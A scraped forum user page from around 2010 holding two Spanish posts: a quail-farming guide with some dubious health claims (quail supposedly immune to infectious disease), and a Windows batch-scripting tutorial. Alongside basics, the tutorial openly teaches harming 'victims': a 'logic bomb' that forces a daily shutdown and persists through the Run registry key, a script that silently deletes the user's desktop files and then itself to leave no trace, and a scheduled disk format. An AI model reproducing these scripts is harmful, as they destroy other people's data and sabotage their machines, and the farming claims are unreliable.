C

cdb_22

Usuario (Argentina)

Primer post: 23 nov 2010Último post: 24 nov 2010
2
Posts
0
Puntos totales
1
Comentarios
C
cria de codornices
InfoporAnónimo11/24/2010

Este post va para los que tienen ganas de invertir unos manguitos en algo productivo y redituable a corto plazo. Espero que les guste. CRIA DE CODORNISCES En ocasiones la avicultura tiende a agotarse en las especies tradicionales como gallinas, patos o gansos. Muchas veces encontrar una alternativa puede resultar ventajoso para aquellos productores que buscan extender su mercado. La cría intensiva de codorniz japonesa para huevos es una opción acertada si se desea invertir poco capital para obtener buenas ganancias en un tiempo relativamente corto. CODORNICES VS GALLINAS * Tres huevos de codorniz equivalen a 1 de gallina. * 1000 codornices ocupan el espacio de 100 gallinas. * Una codorniz pone un huevo cada 22 horas, la gallina lo pone con un lapso de 26 horas. * Un huevo de codorniz pesa 1 gramo, el de gallina 57 gramos. * Para una docena de huevos de codorniz es necesario 300 gramos de alimento; para una docena de huevos de gallina requiere 2.2 kilos. * El huevo de codorniz tiene 0.7% de colesterol, el de gallina 7%. * La postura de la codorniz es constante y pareja durante todo el año, la gallina sufre períodos de baja postura. * Las codornices no son atacadas por enfermedades infectocontagiosas, las gallinas sí. * La postura de la codorniz se produce en la mañana, la gallina en la última hora del día. * La codorniz se encuentra madura comenzar a poner huevos a los 42 días; la gallina en cambio a los 58. * Una sola persona puede fácilmente encargarse de un criadero de codornices; en lo referente a gallinas, hacen falta al menos dos. Aspectos técnicos Instalaciones Para lograr una buena crianza la elección del lugar es lo más importante. Le aconsejamos reacondicionar lugares o aprovechar espacios que antes tuvieron otro uso. Resultan ideales los tinglados con posibilidades de cerramiento, galpones o habitaciones. Cuando se instala el cobertizo de alojamiento, deben tenerse en cuenta ciertas condiciones de luminosidad, ventilación y humedad. Recordar: El reflejo de la luz del sol estimula la fijación de calcio en los huevos. El terreno para ubicar la granja debe estar lo más alejado posible de casas de habitación, de otras granjas y de futuros centros urbanísticos, turísticos, etc., para evitar, entre otras cosas, el contagio de enfermedades entre animales y hacia el ser humano. En todo momento es necesario disponer de electricidad y de una buena fuente de agua potable, para llenar las necesidades fisiológicas de las aves y de la limpieza de los galpones y equipo. El tipo y calidad de construcción de un galpón, depende de las condiciones climáticas del lugar, de la finalidad de la producción y de los medios económicos con que se cuente. El galpón debe ser construido en lugares secos, terrenos bien drenados, y preferiblemente en sitios donde el sol penetre varias horas durante el día y esté protegido de fuertes corrientes de viento. Para el buen funcionamiento de la granja es necesario que los galpones tengan amplios aleros, especialmente en zonas húmedas; buena ventilación, acondicionamiento para los bebederos, comederos, nidos, luz eléctrica, fuente permanente de agua potable y una buena cubierta de piso. La construcción ideal de un galpón debe tener un zócalo o pared de bloques de concreto con un mínimo de 60 a 80 cm de altura, sobre el cual se coloca los horcones de madera o "perlings" de 1,20 m; para una altura total de 1,80 m, desde el piso hasta la solera. El espacio abierto de la pared se forra con malla metálica (tipo ciclón o soldada), con huecos de unos 2,5 cm. El piso de tierra se puede apelmazar y ser utilizado en esta forma, aunque por razones sanitarias es preferible chorrear una capa con concreto, de un espesor (5 a 6 cm) que no se quiebre con facilidad y dure muchos años, y que además permita efectuar una buena lavada. El material más recomendable para la cubierta del techo es el zinc corrugado, por su mayor durabilidad y facilidad de colocación; no obstante se puede usar cualquier otro producto como tejas de barro, fibrocemento, etc. El tipo de galpón se debe ajustar a la actividad (crianza/desarrollo o crianza/producción de huevos) y al número de animales que se desea tener. Cuando el galpón tiene más de seis metros de ancho, se recomienda el techo de dos aguas, para que no sea muy alto y porque le brinda mayor protección al impedir la entrada de lluvia y viento. Las dimensiones del galpón dependen básicamente del número de animales que se desee tener, de la topografía del terreno y de los materiales disponibles. Si no se tienen los conocimientos básicos de construcción, es mejor consultar con algún técnico o constructor, quien le pueda dibujar el plano del galpón y hacer el presupuesto respectivo. Lo lógico en todo caso, es que no haya desperdicio de materiales, como cortar lo menos posible la madera, perlings o las láminas de zinc. Hay que tratar de utilizar la mayoría de los materiales en las mismas dimensiones en que se comercializan. En zonas de clima caliente se deben alojar unas cinco gallinas por metro cuadrado, mientras que en clima frío se puede tener una densidad de seis o siete aves por metro cuadrado. La instalación de jaulas decide el éxito, la mediocridad y hasta el fracaso de manejo de la crianza y explotación de criaderos de pequeños animales como por ejemplo las codornices, chinchillas o conejos, etc. Las jaulas están construidas con materiales tan resistentes como el acero y el hierro galvanizado. el enrejado es vertical y en el frente se encuentra una puerta accionada por resortes que permite una absoluta comodidad al manipular las aves. El piso también compuesto por una reja metálica, posee un decible del uno por ciento para lograr que los huevos se deslicen hasta el sostén exterior de cada compartimiento. Las dimensiones de las jaulas están normalizadas de manera tal que puedan ser ubicadas una encima de otra como si fueran baterías. en cada unidad lo ideal es albergar cómodamente veinte animales ya que las medidas son 1.20 mts. de largo por 80 cm de ancho y 40 cm de alto. Una batería compuesta por 6 jaulas (llamadas BOC) puede ubicarse fácilmente en una superficie de 1.50 mts. cuadrados y representan un valor de 990$. Estas jaulas poseen características standart que permiten su transporte, instalación modular inmediata y un manejo simple y cómodo de las aves. Están diseñadas especialmente para que el alimento y los excrementos no tengan contacto entre sí. Poseen además sistemas de bebederos automáticos que se conectan a una red de agua corriente. Huevos ---> Tratamiento de Huevos Fértiles Es muy importante el tratamiento que reciban los huevos destinados a la incubación. Es menester tratarlos con delicadeza por la facilidad de su ruptura, además deben retirarse de las jaulas al menos dos veces por día. En épocas de calor es conveniente realizar la recolección de los huevos 3 o 4 veces al día. La codorniz japonesa, al contrario de lo que ocurre con la gallina, pone más huevos en las últimas horas de la tarde y en las primeras de la noche. Los huevos destinados a la incubación deberán ser mantenidos en ambientes frescos y limpios, a una temperatura aproximada de 15º C y con un 75 por ciento de humedad relativa. El tema de la temperatura es algo complejo. A veces huevos que llevan dos o tres días de puestos al incubarse sólo brindan un 20 por ciento de pollitos. Posiblemente esto se deba a que en algún momento antes de ser introducidos en la incubadora hayan estado expuestos a altas temperaturas provocando que el proceso del huevo comenzase con anticipación causando la muerte del embrión. Lo ideal es poseer un sala de incubación con cámara de conservación de huevos pero, en general, los criadores de codornices no cuentan con estas comodidades, en consecuencia, debemos tener más cuidado y estar muy atentos. No es conveniente que los huevos que entran en la incubadora tengan más de siete días de postura ya que a medida que transcurren los días disminuye el porcentaje de nacimientos reduciendo las posibilidades de mantenerse en el pretendido promedio del 80 por ciento. De no realizar el manejo adecuado existe una mortalidad de embriones que se presenta principalmente, a los tres días de introducir los huevos en la incubadora y poco tiempo antes de producirse la eclosión. Son muchos los factores que inciden sobre la fertilidad e incubabilidad de los huevos, como la relación entre sexos, la edad de los reproductores y las condiciones de crianza. Tener en el plantel un macho cada tres hembras es una relación adecuada para obtener una fertilidad aceptable. También la luz, la temperatura, el espacio, la de los animales, el despicado, peso de los huevos, los períodos de almacenamiento previos a la incubación, las condiciones de cría, etc., son factores que inciden, en mayor o menor grado, sobre la fertilidad. Los machos pueden dejarse permanentemente con las hembras. La ventaja de este manejo es el máximo de fertilidad posible del plantel y la desventaja, el aumento del picaje, la agresividad del macho, el desplume, etcétera. Posnacimiento Una vez producida la eclosión los polluelos permanecerán en la nacedora hasta que se sequen. Si se los deja por más tiempo que el necesario comenzarán a deshidratarse, lo que sin duda incidirá en el porcentaje de mortandad al retirarlos de la nace dora. Los pollitos bebes pasan a los corrales, éstos deberán tener la posibilidad de ampliarse o reducirse según la cantidad de animales que haya. Los animales recién nacidos y hasta los 15 días, aproximadamente, estarán confinados en corrales de chapa, madera u otro material conveniente. En el piso se coloca viruta de madera para que absorba la humedad, fundamentalmente, de las inyecciones. Durante el primer periodo de crianza comen alimento "iniciador". Puesto que en el mercado no existe uno específico para codornices, se utiliza el de pollitos bebé de gallina, con buenos resultados. Esta alimentación se mantiene hasta que las hembras llegan a un 50 por ciento de postura, en este momento se suministra alimento "alta postura" mezclado con el iniciador, paulatinamente se irá aumentando el porcentaje del primero y reduciendo el del segundo hasta llegar a proporcionarles, únicamente, el alta postura. Durante el tiempo que los polluelos permanezcan en los corrales, el criador debe tener la precaución de regular la altura entre los bebederos y el piso, de modo que los animales puedan beber pero no les sea posible introducirse en ellos, de esta manera se mantendrá seca por más tiempo la viruta. Una codorniz en su madurez (50 días) pone un huevo cada 22 horas con un alto contenido protéico y un bajo nivel de colesterol. A lo largo del año pone 290 huevos como mínimo. Alimentación Un buen alimento es aquel en que están presentes todos los nutrientes en las proporciones necesarias para que las aves se desarrollen y produzcan huevos. La deficiencia de un nutriente puede retardar el desarrollo, disminuir la postura y hasta puede provocar susceptibilidad a enfermedades. Los nutrientes pueden dividirse en seis clases: agua, hidratos de carbono, proteínas, grasas, vitaminas y minerales. es conveniente recordar cuál es la diferencia que existe entre un alimento simple y otro balanceado. Así por ejemplo, el grano de maíz es un alimento simple pues no contiene la proporción suficiente de todos los nutrientes que permiten a una gallina producir huevos en forma continua. Este cereal es rico en hidratos de carbono y pobre en proteínas, vitaminas y minerales. Para compensar estas deficiencias se deben agregar otros alimentos simples, ricos en proteínas como la harina de soja, de girasol y harina de hueso y conchilla que aportan calcio y fósforo. Del correcto mezclado de distintas proporciones de alimentos simples se obtiene el alimento balanceado Ahora hablando un poco de nùmeros... En líneas generales, las ganancias para la venta de huevos en maples se estiman en $1 por codorniz y por mes (1.000 aves generarían $1.000 mensuales) Cabe destacar que los valores indicados en este artículo corresponden al establecimiento del Ing. Burdisso, que pueden coincidir o no con los del resto del mercado. Oferta y demanda En la actualidad -comenta Burdisso-, existen muy pocos criaderos de más de 10.000 animales en producción, el 80% cuenta con un plantel de entre 500 (con 400 se equiparan costos) a 1000 codornices, malas instalaciones y escasos conocimientos”. Si bien no es grande la venta de huevos de codorniz para el consumo familiar, existe una notable demanda insatisfecha en el rubro confiterías, restaurantes y tenedores libres. Burdisso hace el siguiente cálculo: en un mercado con dos cajas registradoras se comercializan 10 docenas de huevos por semana, y en un restaurante perteneciente a una cadena de tenedores libres se consumen 50 docenas de huevos por semana procesados. “Esto da una pauta por considerar”, concluyó el asesor. Con un plantel de 500 codornices se obtienen 1.200 docenas de huevos por mes, o 250 docenas por semana, lo que requiere tan sólo 5 bocas de expendio para cubrir la comercialización. Costos En un mes, la codorniz consume un kilo de alimento -unos 32 a 33 gramos por día-, con los cuales produce 2 docenas de huevos. Esto quiere decir que una docena de ellos cubre el costo de medio kilo de alimento. Ahora bien, ese alimento representa el 80 % del costo de producción. El 20 % restante corresponde a gastos de iluminación, gas, impuestos, etc., se puede comprar el alimento terminado y preparado, que representa un gasto de $1 por kilo; o bien optar por elaborar alimento propio con la siguiente fórmula: núcleo (16%), maíz (54%) y soja (30%). Esto tiene un costo promedio de $ 0,80 por kilo. De esa forma con $0.50 erogados en alimento se obtiene una docena de huevos, a lo que debemos sumar un 20% más en concepto de otros gastos. Este es el costo de una docena de huevos, sin contabilizar el porcentaje de ganancia. Tome nota de otros datos que le serán igualmente útiles: • Los costos fijos (luz, calefacción, etc.) para, por ejemplo, 2.400 codornices, se cubren con la producción de 400 codornices. A partir de allí, e resto es ganancia. • En una habitación de 36 m se pueden albergar 2.400 animales. • La codorniz tiene un periodo de postura de 18 a 22 meses. • La amortización del animal se logra a los 3 meses y la de las jaulas, a los 6. • Las instalaciones demandan $ 5 por codorniz, de donde se des prende que para armar un criadero de mil animales deben invertirse 5 mil pesos. Haciendo números Pasamos lista a algunos de los costos que hacen a la actividad y que deberá conocer antes de iniciarse en ella: Jaulas $ 2,20 por animal alojado (una jaula para 10 animales vale $22). B.B. de 1 día $0,65 Hembra y machos de 30-35 días $3,30 - 3,70 (según el volumen de la compra) Machos de 15 días $2,00 Huevos para incubar (docena) $5,00 Costo del maple (docena) $0,11 Costo del pelado (docena) $0,12 En cuanto al precio de venta de una docena de huevos A granel $0,80 En maples $1,20 Pelados $1,90 Fuente: http://www.agrobit.com/Microemprendimientos/cria_animales/avicultura/Mi000002av.htm, Ing Ernesto Romero,agrobit.com Alejandro Burdisso, Ing. Zootecnista. Suplemento Vida Rural-Revista Chacra.

0
0
P
Programacion y comandos .BAT + Paths y Variables
Apuntes Y MonografiasporAnónimo11/23/2010

Indice 1. ¿Que es Batch? 1.1 Codigos Basicos y Pequeña Practica Iniciativa 1.2 ¿Como guardo el Batch? 2. Variables 2.1 Variables del entorno 3. Bombas logicas y Virus en Batch 4. IF (not) & IF (NOT) EXIST 4.1 Aplicacion del IF a las variables y menúes 5. Bucles 6. Mejorar el Diseño de menúes (idea original de Espectro infernal) 7. Automatizando Tareas (AT) 8. Utilizacion de comandos de red 9. Redirecciones 10. %0, %1, etc. 11. Manejo del Registro Les dejo el post con los Paths y Variables (no es mio) <--- Ideales I---------------------------------------------I 1. ¿Que es Batch? Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc. Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria. Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 1.2 I---------------------------------------------I 1.1 Codigos Basicos y Pequeña Practica Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas Los comandos basicos de batch son los siguientes: Código: *ECHO: imprime un texto en pantalla *@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa. * DIR: muestra un listado con el contenido de un directorio. * TYPE: muestra el contenido de un archivo en pantalla. * COPY: copia archivos en otro lugar. * REN (RENAME): renombra archivos. * DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad). * MD o MKDIR: crea un nuevo directorio. * CD o CHDIR: cambia el directorio actual por el especificado. * RD o RMDIR: borra un directorio vacío. * DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones) * CLS: limpia la pantalla. * HELP: ayuda sobre las distintas órdenes. * SORT: ordena Datos *SHUTDOWN: apaga el ordenador Ahora nos vamos a la practica Abres el Block y escribes el siguiente codigo. Código: @echo off title Primer Programa echo presiona una tecla pause echo hola pause > nul exit Aca una screen del codigo anterior luego de ser compilado y funcionando: Ahora expliquemos el codigo que copiaste. Código: @echo off este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea. Código: title este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa. Código: echo este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla. por ejemplo echo hola en la pantalla apareceria "hola" Código: pause esto crea una pausa en el programa y tienes que presionar una tecla para proseguir. Código: pause > nul esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir" I---------------------------------------------I 1.2 ¿Como guardo el Batch? Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como... Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos" I---------------------------------------------I 2. Variables DEFINICION Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas. Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero% A LA PRACTICA comenzaremos examinando el code siguiente: Código: @echo off title variables echo bienvenido al ejercicio para aprender variables echo . echo presiona una tecla para continuar pause > nul set /p nombre=como te llamas? set /p edad=cuantos anios tenes? set /p comida= que comes? pause > nul echo hola %nombre% echo veo que tienes %edad% anios verdad? echo como rayos te puede gustar %comida%? pause > nul exit Ahora Examinemos el code: Código: set /p nombre=como te llamas? con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables. /p significa que el usuario le pondra el valora la variable por medio de una pregunta. "nombre" ahi esta el nombre dela variable. "=como te llamas?" es la pregunta que se le hara al usuario. He aqui un modelo standar de variable Código: set /p var1=que valor le asigna a la variable 1? tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo Código: set var=pesos --- Código: echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD exit Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto. este seria el ejemplo del programa corriendo asi se entiende mejor: Código: Bienvenidos al ejercicio para aprender variables . Presione una tecla para continuar como te llamas? holy que edad tienes? 14 que comes? nada hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD I---------------------------------------------I 2.1 Variables del entorno hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo: nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe" logicamente le podremos que busque en la ruta c:/windows/system32/ pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes: Código: %ALLUSERSPROFILE% ------> todos los usuarios %APPDATA% ---------> datos de programa %PROMPT%%TEMP% y %TMP% ---------> temporales %USERDOMAIN% -----------> obtener dominio %USERNAME% --------------->nombre del usuario Actual %USERPROFILE% ---------------> usuario configuracion %programfiles% ---------------> archivos de programas %systemroot% ----------------> windows %homedrive% --------------> disco Raiz para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad Código: @echo off title pruba echo ahora se ejecutara el notepad %homedrive%/windows/system32/notepad.exe exit en caso de que tubieramos en el disco c: eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch. I---------------------------------------------I 3. Bombas Logicas y Virus en Batch Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias. Primero aprender la definicion concreta de Bomba Lógica: Bomba Logica Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para a alguien te recomiendo batch. Mira este code Código: shutdown -s -f -t 15 -c "hola mundo" ahora explicamos el code Código: shutdown el mismo nombre te lo dice, apaga el equipo Código: -s activa apagar el equipo Código: -f Fuerza a las aplicaciones activas a cerrrarse Código: -t xx Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras) Código: -c "x" muestra un mensaje con lo que quieras (donde esta la x pones el mensaje) entonses si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima. Código: @echo off AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat" exit lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00. I---------------------------------------------I 4. IF (not) & IF (NOT) EXIST IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada Código: @echo off set /p var=cuanto es 1+1?? if %var%==2 (echo bien) else echo mal pause En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente: Código: @echo off set /p var=cuanto es 1+1?? if not %var%==2 (echo mal) else echo bien pause IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code: Código: @echo off if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe pause > nul I---------------------------------------------I 4.1 Aplicacion del IF a las variables y menúes IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica. Código: @echo off :menu echo 1. ping a google echo 2. ping a wikipedia set /p var=a quien quieres hacer un ping?? if %var%==1 (goto goo) if %var%==2 (goto wiki) if %var%=="" (goto menu) :goo ping www.google.com pause goto menu :wiki ping www.wikipedia.com pause goto menu I---------------------------------------------I 5. Bucles 5. Bucles Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidament e. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo. Código: @echo off :bucle echo holy manda! goto bucle como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa. Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo. Código: @echo off set var=10 :bucle if %var%==0 (goto exit) else set /A var=%var%-1 echo hola viteh! goto bucle :exit echo hola pause exit I---------------------------------------------I 6. Mejorar el Diseño de menúes (idea original de Espectro infernal) Hay simbolos que al imprimirlos mediante la variable hecho cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas, columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno". Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito. El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo: Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen: Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de convinaciones de estos caracteres. Tambien pueden crear sus propias tablas personalizadas . Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º." Código: echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º - PRIMERA OPCION º echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ I---------------------------------------------I 7. Automatizando Tareas (AT) El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es. Código: @echo off at 4:00 shutdown -s -f -t 01 pause > nul exit Código: @echo off at /next:4 4:00 shutdown -s -f -t 01 pause > nul exit Código: @echo off at /every:4/2 4:00 shutdown -s -f -t 01 pause > nul exit Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg. Código: @echo off rem este code contiene una redireccion, estan explicadas en un prox capitulo. at 3:00 shutdown -s -f -t 05 > c:/shut.bat REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/shut.bat" del %0 exit Si ponemos una tarea accidentalment e, por ej. Código: at 17:30 format e: podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas. Código: @echo off at /delete exit I---------------------------------------------I 8. Utilizacion de comandos de red Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una liste de comandos con su explicacion. Código: FTP Iniciar el cliente ftp IPCONFIG parámetros Mostrar las características de configuración de IP /all -> muestra toda la información de configuración /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolución de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolución dns NBTSTAT Hace un estado de la red por netbios Tiene muchos parámetros. Consultarlos mediante nbtstat /? NET parámetros Comando para el uso de redes netbios USE equiporecurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema. USE USER: dominiousuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesión netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a -> mostrar todos los puertos y conexiones -n -> mostrar números de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadísticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Enivia paquetes a un host para comprovar su disponibilidad TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino muestra el camino que se toma hasta llegar a la ip I---------------------------------------------I 9. Redirecciones Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo. Código: @echo off shutdown -s -f -t 01 >> "c:/shut.bat" En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros. Código: @echo off del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat" del /f /q %0 rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con: Código: echo hola > prn Supuestamente este code tendria que salir por la impresora. Aqui les dejo los valores extraidos del manual de "elhacker.net". Citar DISPOSITIVO -- SALIDA CON -- Salida por la pantalla PRN -- Salida por la impresora por defecto LPT1 -- Salida por la 1º impresora en paralelo COM1 -- Salida por el primer puerto serie COM2 -- Salida por el segundo puerto serie I---------------------------------------------I 10. %0, %1, etc. Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos. %0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo: Código: @echo off del /f /q %0 exit Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%. Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como Código: dir /p en este caso "/p" seria igual a %1. Entonses si ponemos Código: del /f /q "/f" es %1 y "/q" es %2 Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows. Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo: Cocuments and SettingsadministradorEscritorio>prueba.bat /help y luego solo normalmente Cocuments and SettingsFranciscoEscritorio>prueba.bat Código: @echo off title Ejemplo de variables if %1==/help (goto help) else goto :tex :help echo Esta es la ayuda echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help pause exit :tex echo De esta forma se ejecuta el programa normalmente pause exit I---------------------------------------------I 11. Manejo del Registro Accesar al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidade s. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente. Los tipos de "reg" son los siguientes: Código: REG ADD / Para agregar una clave al registro REG QUERY / Para consultar una clave REG EXPORT / Para exportar claves REG IMPORT / Importa una clave exporta anteriormente con EXPORT. REG COMPARE / compara una clave con otra. REG ADD Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento . ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat" Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat. REG QUERY REG QUERY clave [/v nvalor | /ve] clave clave equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos. clave: Con la forma nombre de CLAVERAIZsubclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada. /v consulta para una clave de registro específica nvalor: nombre en la clave seleccionada para consultar. Si se omite, se consultará en todos los valores de la clave. /ve Consultar el valor predeterminado o el de nombre vacío <sin nombre> /s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLMSoftwareMicrosoftResT /v Version Muestra el valor del valor Version del registro. REG QUERY HKLMSoftwareMicrosoftResTSetup /s Muestra todas las subclaves y valores en la clave de registro Setup. REG EXPORT clave ROOTKEYsubclave (sólo equipo local) ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave El nombre completo de la clave del registro dentro del valor ROOTKEY seleccionado archivo El nombre del archivo de disco para exportar Ejemplos: REG EXPORT HKLMSoftwareMiCoMiAp CopiaAp.reg Exporta todas las subclaves y valores de la clave MiAp al archivo CopiaAp.reg REG IMPORT Importa una clave importada con reg export. REG IMPORT "c:/loquesea.reg" REG COMPARE Compara 2 claves de registro. REG COMPARE HKLMSoftwareMiCoMiAp HKLMSoftwareMiCoGuardaMiAp Compara todos los valores dentro de la clave MiAp con GuardaMiAp REG COMPARE HKLMSoftwareMiCo HKLMSoftwareMiCo1 /v Version Compara el valor Version en las claves MiCo y MiCo1 REG COMPARE ZODIACHKLMSoftwareMiCo . /s Compara todas las subclaves y valores en HKLMSoftwareMiCo de ZODIAC con la misma clave del equipo actual Este documento esta protegido por la Licencia 